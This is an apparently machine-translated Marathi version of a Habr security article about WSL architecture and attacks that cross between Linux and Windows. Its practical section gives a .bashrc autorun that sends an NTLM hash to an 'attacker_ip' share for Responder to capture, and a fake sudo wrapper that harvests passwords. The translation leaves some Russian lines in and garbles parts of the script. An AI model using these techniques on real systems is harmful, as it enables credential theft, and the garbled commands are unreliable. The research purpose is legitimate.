WSL प्रयोग. भाग 1

हॅलो, हॅबर! OTUS ऑक्टोबरमध्ये एक नवीन अभ्यासक्रम सुरू करते "लिनक्स सुरक्षा". अभ्यासक्रम सुरू होण्याच्या अपेक्षेने, आम्ही तुमच्यासोबत आमचे एक शिक्षक, अलेक्झांडर कोलेस्निकोव्ह यांनी लिहिलेला लेख शेअर करत आहोत.

2016 मध्ये, मायक्रोसॉफ्टने नवीन WSL तंत्रज्ञान आयटी समुदायाला सादर केले (Wइंडो Sसाठी उपप्रणाली Linux), ज्याने भविष्यात सामान्य आणि प्रगत OS वापरकर्त्यांमध्ये लोकप्रियतेसाठी लढा देणारे पूर्वीचे असंतुलित प्रतिस्पर्धी एकत्र करणे शक्य केले: विंडोज आणि लिनक्स. या तंत्रज्ञानामुळे लिनक्स चालविल्याशिवाय विंडोज वातावरणात लिनक्स ओएस टूल्स वापरणे शक्य झाले, उदाहरणार्थ, मल्टी-बूट वापरणे. Habr वर तुम्हाला WSL ​​वापरण्याच्या फायद्यांचे वर्णन करणारे लेख मोठ्या संख्येने सापडतील. तथापि, दुर्दैवाने, या लेखाच्या निर्मितीच्या वेळी, या संसाधनावर ऑपरेटिंग सिस्टमच्या अशा सहजीवनाच्या सुरक्षिततेवर कोणतेही अभ्यास आढळले नाहीत. हे दुरुस्त करण्याचा या पोस्टचा प्रयत्न असेल. लेख WSL 1 आणि 2 आर्किटेक्चरच्या वैशिष्ट्यांबद्दल बोलेल आणि या तंत्रज्ञानाचा वापर करून सिस्टमवरील हल्ल्यांच्या अनेक उदाहरणांचे परीक्षण करेल. लेख 2 भागात विभागलेला आहे. प्रथम लिनक्स आणि विंडोज मधील मुख्य सैद्धांतिक हल्ला पद्धती प्रदान करेल. दुसऱ्या लेखात चाचणी वातावरण तयार करणे आणि हल्ल्यांचे पुनरुत्पादन करणे समाविष्ट आहे.

WSL 1: आर्किटेक्चरल वैशिष्ट्ये

डब्ल्यूएसएल सुरक्षा समस्यांमध्ये सर्वात अचूक जाण्यासाठी, उपप्रणालीच्या अंमलबजावणीशी संबंधित मुख्य बारकावे निश्चित करणे आवश्यक आहे. WSL द्वारे सोडवलेल्या मुख्य वापरकर्त्यांपैकी एक कार्य म्हणजे Windows OS चालवणाऱ्या होस्टवर Linux टर्मिनलद्वारे कार्य करण्याची क्षमता. तसेच, ऑफर केलेली सुसंगतता इतकी मूळ होती की लिनक्स एक्झिक्यूटेबल्स (ELFs) थेट विंडोज सिस्टमवर चालवता येतात. ही उद्दिष्टे साध्य करण्यासाठी, Windows 10 मध्ये एक विशेष उपप्रणाली तयार केली गेली होती जी तुम्हाला विशिष्ट सिस्टम कॉल्सचा संच वापरून लिनक्स ऍप्लिकेशन्स चालवण्याची परवानगी देते - अशा प्रकारे, विंडोजवर लिनक्स सिस्कॉल्सचा संच मॅप करण्याचा प्रयत्न केला गेला. नवीन ड्रायव्हर्स आणि नवीन प्रक्रिया स्वरूप जोडून हे प्रत्यक्षरित्या लागू केले गेले. दृश्यमानपणे आर्किटेक्चर असे दिसत होते:

खरेतर, लिनक्स ऑपरेटिंग सिस्टीमसह परस्परसंवाद अनेक कर्नल मॉड्यूल्स आणि विशिष्ट प्रकारच्या प्रक्रियेद्वारे आयोजित केला गेला - पिको. वरील आकृतीवरून, आपण पाहू शकता की होस्टवरील Linux उदाहरणावर चालणारी प्रक्रिया मूळ असणे आवश्यक आहे आणि नियमित Windows अनुप्रयोगांप्रमाणेच संसाधने वापरणे आवश्यक आहे. पण हे कसे साध्य करायचे? प्रकल्पात ड्रॉब्रिज विंडोजसाठी प्रक्रिया संकल्पना विकसित केल्या गेल्या ज्याने ऑपरेटिंग सिस्टमचे सर्व आवश्यक घटक (त्याच्या आवृत्तीवर अवलंबून) दुसर्या OS चे अनुप्रयोग चालविण्यासाठी प्रदान केले.

लक्षात घ्या की प्रस्तावित अमूर्ततेमुळे ऑपरेटिंग सिस्टमवर (विशेषतः, विंडोज) लक्ष केंद्रित न करणे शक्य झाले आहे, ज्यामध्ये दुसर्या OS ची प्रक्रिया सुरू होणे अपेक्षित आहे, आणि एक सामान्य दृष्टीकोन सुचवला.

अशा प्रकारे, पिको प्रक्रियेतील कोणताही अनुप्रयोग विंडोज कर्नलचा विचार न करता चालवू शकतो:

1. सुसंगतता आणि सिस्टम कॉलच्या अनुवादाच्या समस्या विशेष प्रदात्यांद्वारे सोडवणे आवश्यक आहे;
2. प्रवेश नियंत्रण सुरक्षा मॉनिटरद्वारे केले जाणे आवश्यक आहे. मॉनिटर कर्नलमध्ये स्थित आहे आणि म्हणून Windows ला नवीन ड्रायव्हरच्या रूपात अपग्रेड आवश्यक आहे जे अशा प्रक्रियांसाठी प्रदाता म्हणून कार्य करू शकेल. प्रोटोटाइप पिको प्रक्रिया योजनाबद्धपणे खाली सादर केली आहे:

लिनक्स फाइल सिस्टम केस-सेन्सिटिव्ह फाइल आणि निर्देशिका नावे वापरत असल्याने, WSL - VolFS आणि DriveFS सह कार्य करण्यासाठी Windows मध्ये 2 प्रकारच्या फाइल सिस्टम जोडल्या गेल्या आहेत. VolFS ही Linux फाइल प्रणालीची अंमलबजावणी आहे, DriveFS ही एक फाइल प्रणाली आहे जी Windows नियमांनुसार कार्य करते, परंतु केस संवेदनशीलता निवडण्याची क्षमता आहे.

डब्ल्यूएसएल 2

WSL 1 मध्ये अनेक मर्यादा होत्या ज्याने जास्तीत जास्त कार्ये सोडवण्यासाठी वापरण्याची परवानगी दिली नाही: उदाहरणार्थ, 32-बिट लिनक्स ऍप्लिकेशन्स चालवण्याची क्षमता त्याच्याकडे नव्हती आणि डिव्हाइस ड्रायव्हर्स वापरणे अशक्य होते. म्हणून, 2020 मध्ये, WSL 2 रिलीझ झाला, ज्याने उपप्रणाली तयार करण्याचा दृष्टीकोन बदलला. WSL 2 हे एक ऑप्टिमाइझ केलेले व्हर्च्युअल मशीन आहे जे WSL 1 च्या संसाधनांच्या वापराच्या वैशिष्ट्यांशी जुळते. आता, Windows OS वापरकर्त्याद्वारे सोडवलेल्या समस्यांवर अवलंबून, आपण लिनक्स उपप्रणालीची आवश्यक आवृत्ती निवडू शकता. संभाव्य भेद्यता कमी करण्यासाठी, Windows 2 मध्ये हायपर-V वर आधारित WSL 10 लागू करण्यात आला. या फॉर्ममध्ये, Windows मध्ये Linux ऑपरेटिंग सिस्टम कर्नल एकाकीपणे चालवण्याची क्षमता आहे. हे लक्षात ठेवण्यासारखे आहे की WSL ची आवृत्ती 1 एक बीटा वैशिष्ट्य म्हणून सादर केली गेली होती जी या क्षेत्रातील विंडोजच्या विकासाची दिशा दर्शवेल, म्हणून हायपर-व्ही मध्ये संक्रमण अपरिहार्य होते. अंतिम आर्किटेक्चर असे दिसते:

या आवृत्तीमध्ये, विंडोज आणि लिनक्स कर्नलची स्वतःची संसाधने आहेत आणि छेदनबिंदू फक्त फाइल सिस्टममध्ये अस्तित्वात आहे, परंतु हे छेदनबिंदू पूर्ण नाही. फाइल सिस्टममधील परस्परसंवाद क्लायंट-सर्व्हर रॅपरद्वारे केला जातो जो 9P प्रोटोकॉल वापरून कार्य करतो.

आज Microsoft WSL 1 आणि WSL 2 मध्ये स्विच करण्याची क्षमता प्रदान करते. दोन्ही आवृत्त्या वापरासाठी उपलब्ध आहेत.

WSL सुरक्षा

याक्षणी, उपप्रणालींमधील संप्रेषणावर हल्ला करण्यासाठी कायदेशीर OS साधने वापरण्याच्या काही पद्धतींचे वर्णन करणारी अनेक कामे आहेत. लेखनाच्या वेळी हल्ल्यांची प्रासंगिकता तपासण्यासाठी आम्ही त्यांच्या स्क्रिप्टचा वापर करू. हल्ले आणि परिस्थितींची सामान्य यादी:

1. फाइल सिस्टम अंमलबजावणी: प्रवेश अधिकार, सामायिक निर्देशिका/डेटा एक्सचेंज यंत्रणांची उपलब्धता.

पासून प्रवेश नियमांचे उल्लंघन निर्धारित करण्यासाठी संशोधन केले गेले लिनक्स एफएस->विंडोज एफएस, विंडोज एफएस->लिनक्स एफएस. संशोधनाने लक्ष्य OS मध्ये दिलेल्या फाईलमध्ये बदल करण्याची क्षमता दर्शविली आहे. पर्यायी, डुप्लिकेट तयार करणे आणि फाईल सिस्टीमचे काही भाग हटवण्याचे प्रयत्न देखील केले गेले.

परिस्थिती:

• A. विंडोज ऑपरेटिंग सिस्टीमचा हल्ला - Linux OS च्या /etc डिरेक्ट्रीमधून फाइल्समध्ये बदल.
• B. लिनक्स ऑपरेटिंग सिस्टीमवरून हल्ला - डिरेक्टरीमधील फाइल्समध्ये बदल: C:Windows, C:Program Files, C:Users<User>

2. नेटवर्क स्टॅकची अंमलबजावणी.

विंडोजवरील लिनक्स ऑपरेटिंग सिस्टीमवरील हल्ल्यांची उदाहरणे वापरून संशोधन केले गेले. नेटवर्क स्टॅकची वैशिष्ट्ये वापरली गेली, म्हणजे, विविध संसाधनांवर प्रमाणीकरण यंत्रणा.

परिस्थिती:

• विंडोज सिस्टमवर व्यापलेल्या पोर्टवर प्रवेश उघडणे
• योग्य अधिकारांशिवाय बंदर उघडणे
• विंडोज ऑपरेटिंग सिस्टमवर एल्फ फाइल वापरून रिव्हर्स शेल चालवणे.

3. WSL उपप्रणाली वापरून दुर्भावनापूर्ण सॉफ्टवेअर प्रक्रियांचा शुभारंभ लपवत आहे.

संशोधन एका साध्या वस्तुस्थितीवर आधारित होते - सुरक्षा उपप्रणाली डब्ल्यूएसएल 1 च्या बाबतीत ऑपरेटिंग सिस्टममधील कायदेशीर प्रदात्याचा वापर करून कार्य करणार्‍या दुसर्‍या कर्नलमधील घटनांना रोखू शकत नाही. WSL 2 च्या बाबतीत, घडणाऱ्या घटना पाहण्याचा कोणताही मार्ग नाही. लाइटवेट व्हर्च्युअल मशीनमध्ये वेगळ्या कर्नलमध्ये.

परिस्थिती:

1) सिस्टममध्ये दूरस्थ प्रवेशासाठी अनुप्रयोग लाँच करा आणि लॉग केलेले इव्हेंट पहा.

WSL 1 प्रयोग: हॅश इंटरसेप्शन (विंडोज)

शेवटी आम्ही व्यावहारिक भागावर पोहोचलो. प्रथम, आपण चाचणी वातावरण सेट करणे आवश्यक आहे. सर्व प्रयोग Windows 10 2004 स्थापित केलेल्या बेंचवर केले जातील. Ubuntu 18.04 प्रतिमा WSL ​​साठी ऑपरेटिंग सिस्टम प्रतिमा म्हणून निवडली गेली. प्रतिमा यादृच्छिकपणे निवडली गेली आणि इतर कोणतीही समान कार्य करेल. स्टँड सेट करण्यासाठी आज्ञा:

आपण प्रथम लॉन्च करणे आवश्यक आहे powershell.exe प्रशासक म्हणून.

WSL 1 साठी तुम्हाला आज्ञा चालवण्याची आवश्यकता आहे:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

स्टँड रीबूट केल्यानंतर, तुम्ही बॅश कमांडला कॉल करू शकता. सर्वकाही योग्यरित्या कार्य करत असल्यास, तुम्हाला विंडोज कन्सोलमध्ये यासारखे आउटपुट दिसेल:

आम्ही काली लिनक्स डिस्ट्रिब्युशनचा वापर आक्रमणकर्त्याचे मशीन म्हणून करू; सर्व मशीन एकाच स्थानिक नेटवर्कवर असणे आवश्यक आहे.

चला असे गृहीत धरू की आमच्याकडे विंडोज मशीनवर डब्ल्यूएसएलमध्ये विशेषाधिकार नसलेला प्रवेश आहे. लिनक्स वरून कमांड कॉल करून लिनक्स ऑपरेटिंग सिस्टमवर हल्ला करण्याचा प्रयत्न करूया. हल्ला अंमलात आणण्यासाठी, आम्ही एक साधे ऑटोरन तंत्र वापरू - आम्ही लिनक्स वातावरणात अंमलबजावणीसाठी आमची स्क्रिप्ट जोडू. हे करण्यासाठी तुम्हाला फाइल बदलण्याची आवश्यकता आहे .bashrc.

WSL सह मशीनवर आम्ही कार्यान्वित करतो:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

काली लिनक्स मशीनवर आम्ही चालवतो:

1. Responder -I eth0 -rdvw

विंडोज मशीनवर, बॅश लाँच करू.

आम्ही काली लिनक्स मशीनवरील निकालाची वाट पाहत आहोत:

अशा प्रकारे, लिनक्स सिस्टमवर कमांड कार्यान्वित करून आम्ही WSL उपप्रणालीद्वारे Windows वापरकर्ता हॅश मिळवले.

WSL 1 प्रयोग: वापरकर्ता पासवर्ड मिळवणे (Linux OS)

अजून एक प्रयोग करूया. या तपासणी दरम्यान आम्ही फाइलमध्ये जोडू .bashrc लिनक्स ऑपरेटिंग सिस्टम वापरकर्ता संकेतशब्द प्राप्त करण्यासाठी अनेक आदेश.

चला बॅश लाँच करू आणि कमांड एंटर करू:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

हल्ला यशस्वीरित्या पूर्ण करण्यासाठी, वापरकर्ता सॅमला लिनक्स टर्मिनलमध्ये sudo कॉल करणे आवश्यक आहे. यानंतर, लिनक्स ओएस वापरकर्ता पासवर्ड फाइलमध्ये असेल pass.txt:

हल्ल्यांची अंमलबजावणी केवळ सैद्धांतिक माहितीसाठी देण्यात आली होती.

लेखाचा पुढील भाग 9P प्रोटोकॉलच्या अंमलबजावणीचे वर्णन करेल, या प्रोटोकॉलसाठी स्कॅनर तयार करण्याचा विचार करेल आणि त्याचा वापर करून हल्ला देखील करेल.

वापरलेल्या साहित्याची यादी

• WSL 2 खराबी मध्ये संशोधन
• लिनक्स डॉक्युमेंटेशनसाठी विंडोज सबसिस्टम

पुढे वाचा

• रिअल-टाइम लिनक्स कर्नल पॅचिंग सॉफ्टवेअर कसे निवडावे

स्त्रोत: www.habr.com